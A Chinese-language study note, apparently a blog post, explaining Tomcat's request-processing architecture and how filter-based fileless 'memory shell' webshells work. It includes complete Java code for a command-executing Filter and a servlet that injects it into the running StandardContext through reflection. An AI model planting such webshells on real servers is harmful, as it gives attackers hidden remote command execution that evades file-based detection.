完全參考:https://www.cnblogs.com/nice0e3/p/14622879.html
這篇筆記,來源逗神的指點,讓我去了解了內存馬,這篇筆記記錄的是filter類型的內存馬
內存馬的學習基本都是參考上面標注的博客文章,主要自己過一遍學習!
什么是內存馬
什么是內存馬,內存馬即是無文件馬,只存在於內存中。我們知道常見的WebShell都是有一個頁面文件存在於服務器上,然而內存馬則不會存在文件形式。
落地的JSP文件十分容易被設備給檢測到,從而得到攻擊路徑,從而刪除webshell以及修補漏洞,內存馬也很好的解決了這個問題。
Tomcat請求處理結構
在這里我們來學習下Tomcat的結構,以下是Tomcat對請求處理流程的結構圖
Server
即指的WEB服務器,一個Server包括多個Service。
Service
在Connector和Engine外面包了一層(可看上圖),把它們組裝在一起,對外提供服務。
一個Service可以包含多個Connector,但是只能包含一個Engine,其中Connector的作用是從客戶端接收請求,Engine的作用是處理接收進來的請求。
Connector
Connector(連接器)組件是Tomcat最核心的兩個組件之一,主要的職責就是負責接收客戶端連接和客戶端請求的處理加工Request和Response對象。
每個Connector都將指定一個端口進行監聽,分別負責對請求報文的解析和響應報文組裝,解析過程生成Request對象,而組裝過程涉及Response對象。
Tomcat有兩個典型的Connector:
1、一個直接偵聽來自browser的http請求,一個偵聽來自其它WebServer的請求Coyote Http/1.1 Connector 在端口8080處偵聽來自客戶browser的http請求。
2、另外一個是Coyote JK2 Connector 在端口8009處偵聽來自其它WebServer(Apache)的servlet/jsp代理請求。
Engine
可以用來配置多個虛擬主機,每個虛擬主機都有一個域名當Engine獲得一個請求時,它把該請求匹配到某個Host上,然后把該請求交給該Host來處理Engine有一個默認虛擬主機,當請求無法匹配到任何一個Host上的時候,將交給該默認Host來處理。
Host:
每一個Host代表一個虛擬主機,每個虛擬主機和某個網絡域名Domain Name相匹配,這個點可以利用是hosts碰撞
每個虛擬主機下都可以部署(deploy)一個或者多個Web App,每個Web App對應於一個Context,有一個Context path,當Host獲得一個請求時,將把該請求匹配到某個Context上,然后把該請求交給該Context來處理匹配的方法是"最長匹配",所以一個path==""的Context將成為該Host的默認Context所有無法和其它Context的路徑名匹配的請求都將最終和該默認Context匹配。
Context:
一個Context對應於一個Web Application,一個WebApplication由一個或者多個Servlet組成。
Context在創建的時候將根據配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml載入Servlet類,當Context獲得請求時,將在自己的映射表(mapping table)中尋找相匹配的Servlet類。如果找到,則執行該類,獲得請求的回應,並返回。
這里的映射表其實就是在編寫完每個Servlet的時候,需要在web.xml中寫到對應的映射標簽!
Tomcat的解析流程
還是從Connector開始,Connector將在某個指定的端口上來監聽客戶的請求,把從socket傳遞過來的數據,封裝成Request,傳遞給Engine來處理,並從Engine處獲得響應並返回給客戶端。
Engine:最頂層容器組件,其下可以包含多個 Host。
Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
Context:一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper。
Wrapper:一個 Wrapper 代表一個 Servlet。
ProtocolHandler:
在Connector中,包含了多個組件,Connector使用ProtocolHandler處理器來進行加工。
不同的ProtocolHandler代表不同連接類型。ProtocolHandler處理器可以用看作是協議處理統籌者,通過管理其他工作組件實現對請求的處理。
ProtocolHandler 包含了三個非常重要的組件,這三個組件分別是:
- Endpoint: 負責接受,處理socket網絡連接
- Processor: 負責將從Endpoint接受的socket連接根據協議類型封裝成request
- Adapter:負責將封裝好的Request交給Container進行處理,解析為可供Container調用的繼承了ServletRequest接口、ServletResponse接口的對象。
請求經Connector處理完畢后,傳遞給Container進行處理。
Container
Container容器則是負責封裝和管理Servlet處理用戶的Servlet請求,並返回對象給web用戶的模塊。
Container 處理請求,內部是使用Pipeline-Value管道來處理的,每個 Pipeline 都有特定的 Value(BaseValue),BaseValue 會在最后執行。
上層容器的BaseValue 會調用下層容器的管道,FilterChain 其實就是這種模式,FilterChain 相當於 Pipeline,每個 Filter 相當於一個 Value。
4 個容器的BaseValve 分別是StandardEngineValve 、StandardHostValve 、StandardContextValve 和StandardWrapperValve。
每個Pipeline 都有特定的Value ,而且是在管道的最后一個執行,這個Valve 叫BaseValve,BaseValve 是不可刪除的。
最終的流程圖如下:
上面的全部都是抄的,我得用自己的話來加深理解,首先我們在tomcat的解析流程中,我們先了解到的是Connector,它又被稱作為連接器,真正起到作用是Connector內部的ProtocolHandler處理器,這個ProtocolHandler處理器封裝用戶發起的網絡請求所對應的Request對象,和當內部處理完返回過來的Response對象。
那么當Connector的ProtocolHandler處理器封裝完Request對象之后,就會發送給Container,這個Container容器則是負責封裝和管理Servlet和處理用戶的servlet請求,這里所謂的Servlet請求其實就是處理Request對象,在處理請求中,起作用的角色則是Container中的Pipeline-Value管道來處理的,當Pipeline-Value處理完之后,接着就會看到一個FilterChain對象!
FilterChain對象
這里繼續將FilterChain,這個對象大家肯定都很熟悉啊,因為在學習Servlet的時候,這個是經常出現的,比如我們想要對傳進來的數據先做一定的處理,然后再到Servlet對象中進行處理,這里都會用到這個FilterChain對象
過濾鏈(FilterChain):在一個 Web 應用程序中可以注冊多個 Filter 程序,每個 Filter 程序都可以針對某一個 URL 進行攔截。
如果多個 Filter 程序都對同一個 URL 進行攔截,那么這些 Filter 就會組成一個Filter 鏈(也稱過濾器鏈)
小知識點:在開發中,當我們想要進行多個FilterChain同時作用的時候,那么我們此時還會用到該對象中的doFilter方法來進行傳遞處理!如果只有一個Filter也需要,默認它則轉發給對應的Servlet!
整體的流程:
Server :
- Service
-- Connector: 客戶端接收請求
--- ProtocolHandler: 管理其他工作組件實現對請求的處理
---- Endpoint: 負責接受,處理socket網絡連接
---- Processor: 負責將從Endpoint接受的socket連接根據協議類型封裝成request
---- Adapter: 負責將封裝好的Request交給Container進行處理,解析為可供Container調用的繼承了ServletRequest接口、ServletResponse接口的對象
--- Container: 負責封裝和管理Servlet 處理用戶的servlet請求,並返回對象給web用戶的模塊
-- Engine:處理接收進來的請求
--- Host: 虛擬主機
--- Host: 虛擬主機
--- Host: 虛擬主機
--- Context: 相當於一個web應用
--- Context:相當於一個web應用
--- Context:相當於一個web應用
到了這里,我們來實現一個簡單的FilterChain吧
用到的POM依賴
<dependencies>
<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet.jsp/javax.servlet.jsp-api -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>javax.servlet.jsp-api</artifactId>
<version>2.3.3</version>
<scope>provided</scope>
</dependency>
Servlet中實現的代碼如下:
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("我是doGet方法");
resp.getWriter().print("WOW 我愛上了你");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
過濾器實現的代碼:
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("WOW Filter init");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setCharacterEncoding("utf-8");
request.setCharacterEncoding("utf-8");
response.setContentType("text/html;Charset=UTF-8");
System.out.println("我接收到了請求,並且馬上就要進行過濾了");
chain.doFilter(request, response); //chain.doFilter將請求轉發給過濾器鏈下一個filter,如果沒有filter那就是轉發給Servlet,你需要請求的資源
System.out.println("我過濾完了...");
}
@Override
public void destroy() {
System.out.println("WOW Filter destroy");
}
}
結果如下,可以看到是 過濾器先接收到請求,然后再轉發給Servlet,然后Servlet走了之后又回到過濾器中再之后doFilter之后的內容!
內存馬的實現
上面了解了關於Filter對象的學習,那么其實內存馬也差不多了解了,就是對一個Filter接口實現的對象
如下先實現一個簡單的Filter對象的命令執行的效果
首先那么就是在接口中進行對數據的傳入進行判斷,對於特殊的字段進行判斷,比如"cmd","command"類似的headers來進行判斷,這種實現了之后,我們還需要進行全局過濾,就是任何一個路徑都需要進行過濾,所以在Servlet中實現的時候,映射的Mapping也需要是為/*
這種形式!
如下進行實現操作:
public class MemoryFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null){
Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = exec.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
System.out.println("過濾器調用完畢,開始轉發給Servlet...");
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
接着再加上映射關系:
當請求URL為:http://127.0.0.1:8080/?cmd=whoami
可以發現已經成功執行命令了,並且回顯在頁面上
上面演示了下關於過濾鏈,那么對於內存馬到底是如何實現的?
首先得明白一點,在實戰環境下,你不可能寫一個Filter對象然后又放到對方的代碼中,這樣子不就早getshell了
所以對於內存馬,我們是需要找到一個注入點,動態的在內存中創建一個Filter對象,這樣子的話就是一個真正的內存馬!
那么如何可以動態的在內存中創建Filter對象呢?
知識點1:ServletContext
web應用啟動的時候,都會產生一個ServletContext為接口的對象,因為在web中這個ServletContext對象的一些數據能夠保證Servlets穩定運行
那么該對象如何獲得?
在tomcat容器中中ServletContext的實現類是ApplicationContext類
在web應用中,獲取的ServletContext實際上是ApplicationContextFacade的對象,對ApplicationContext進行了封裝,而ApplicationContext實例中又包含了StandardContext實例,所以說我們在tomcat中拿到StandardContext則是去獲取ApplicationContextFacade這個對象。
我們這里通過一個ServletContext servletContext = this.getServletContext();
來進行觀察這個servletContext是不是我們上面所說的ApplicationContextFacade這個對象!
如下所示下一個斷點
當前獲取到了ServletContext的實現類,如下所示
我們可以看到這個名為ApplicationContextFacade類,到這里可以說明Tomcat的ServletContext對象確實是ApplicationContextFacade對象
知識點2:組裝Filters的流程
我們還需要看下Filter的調用流程是怎么樣的?
這里想要調試tomcat的話,需要注意的記得把tomcat下的lib文件導入到idea工程中,要不然idea在調試的時候是找不到的!
找到ApplicationFilterChain對象中,internalDoFilter方法上打上斷點(為啥要在這里打斷點,后面有說明)
繼續跟,可以看到這個internalDoFilter方法獲取到了我們所實現的MemoryFilter對象
internalDoFilter方法中接着又會開始調用MemoryFilter對象中實現的doFilter方法
接着就是來到了我們所實現的doFilter的方法,也就是我們執行命令的方法
那么我為什么下斷點會下在ApplicationFilterChain對象中的internalDoFilter呢?
那還得看ApplicationFilterChain這個對象是什么?大家可以理解為它是一個調用Filter對象的一個調度類,就是專門用來調用所有實現的Filter對象的doFilter方法,而其中的internalDoFilter就是去調用我們Filter對象中實現的doFilter方法的一個手段
ApplicationFilterChain這個對象又是哪來的呢?我們可以從調用棧中進行觀察,下面的圖中可以看到StandardWrapperValve這個類中的invoke方法來進行調用的
來到這個StandardWrapperValve的調用棧invoke方法中,可以看到是通過doFilter來進行調用
在StandardWrapperValve類的invoke中,往上拉,其中可以看到這里的filterChain為ApplicationFilterChain的實例化,到這里就可以思考下,上面說到的filterChain.doFilter的filterChain,原來filterChain屬性是通過ApplicationFilterFactory.createFilterChain這個方法所獲得的,這里繼續跟到createFilterChain方法中進行查看
跟進createFilterChain的方法中,它會獲取一個StandardContext對象(這個就是我們先引入的知識點1),通過這個對象的findFilterMaps方法來獲得所有需要調用的Filter對象,獲得到的Filter對象都會放到一個filterMaps的FilterMap數組中去,可以看到當前獲得的就兩個Filter,其中一個是tomcat默認的,還有個就是我們自己實現的MemoryFilter對象
接着又會開始遍歷這個FilterMap數組中的每個FilterMap對象(每個FilterMap都包含了每個Filter的相關信息),每次拿到一個FilterMap對象就是通過matchDispatcher和matchFiltersURL來比較訪問的路由和Filter對象的路由是否有包含關系,最后會每個Filter對象相關信息都存儲到了FilterConfig對象中,然后再把FilterConfig對象放到了filterChain這個屬性中,而這里的filterChain屬性就是外面的這個ApplicationFilterChain對象,到這里要調用的每個Filter對象都拼裝好了,全部都放入了ApplicationFilterChain對象,ApplicationFilterChain這個對象我們上面也講過,是一個調度類,專門調用每個Filter的doFilter方法。
知識點3:FilterConfig
現在已經知道了ApplicationFilterChain這個對象的由來和它的作用,我們繼續整理下,先是經過一系列的處理最后拿到了ApplicationFilterChain這個對象,這個對象中包含了每個Filter的相關配置信息,最后則開始調用其中的doFilter方法
繼續來看createFilterChain方法幫我們做的事情,它實現的Filter的添加,createFilterChain這個方法返回的filterChain最終會被進行調用,那么我們如果能實現在filterChain進行插入的話,那是不是我們就成功的實現了添加自定義的Filter對象?
答案是的,那需要如何實現?回到這個createFilterChain方法中,我們可以看下如下,每次成功添加一個filterConfig則意味着Filter對象的成功被添加進去
這個FilterConfig對象中包含着如下屬性
該對象有三個重要的屬性,一個是ServletContext,一個是filter,一個是filterDef
那么想要實現一個完整的filterConfig,那么也就是需要這三個,一個是ServletContext,一個是filter,一個是filterDef
開始理清思路:
1、獲取當前應用的ServletContext對象
2、再獲取filterConfigs
2、接着實現自定義想要注入的filter對象
4、然后為自定義對象的filter創建一個FilterDef
4、最后把 ServletContext對象 filter對象 FilterDef全部都設置到filterConfigs即可完成內存馬的實現
這里我們第一步為什么要先獲取ServletContext對象,原因就是想要獲取filterConfigs就需要通過ServletContext來獲取!
實現的代碼如下:
public class InjectMemoryServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Field Configs = null;
Map filterConfigs;
try {
//這里是反射獲取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//反射獲取FilterDef,設置filter名等參數后,調用addFilterDef將FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射獲取FilterMap並且設置攔截路徑,並調用addFilterMapBefore將FilterMap添加進去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射獲取ApplicationFilterConfig,構造方法將 FilterDef傳入后獲取filterConfig后,將設置好的filterConfig添加進去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
resp.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
接着注冊下映射關系
這里測試之前先把之前注冊的filter注釋掉,接着啟動服務進行測試
訪問URL:http://127.0.0.1:8080/?cmd=whoami
因為前面的filter注釋掉了,所以這里沒反應
訪問URL:http://127.0.0.1:8080/inject
接着訪問URL:http://127.0.0.1:8080/?cmd=whoami
那么到現在為止也就是內存馬創建了,實現內存馬在這里就講完了
內存馬的查殺
參考文章:http://gv7.me/articles/2020/kill-java-web-filter-memshell/
已經學,那就一次性徹底了解到位!
上面已經學習了如何實現內存馬,那么這里繼續了解內存馬該如何查殺
我看了下,又是一些盲目的知識點,還是以后補上去吧!
fastjson配合內存馬的實戰
項目測試中遇到的fastjson,由於環境問題導致無法反彈shell,我這里使用fastjson反序列化漏洞來實現內存馬!
自己在找資料的時候看到的都是shiro的內存馬,所以想要實現fastjson反序列化的內存馬,這就需要我們自己動手來改了
2021.11.18補充
參考博客中另外的文章即可: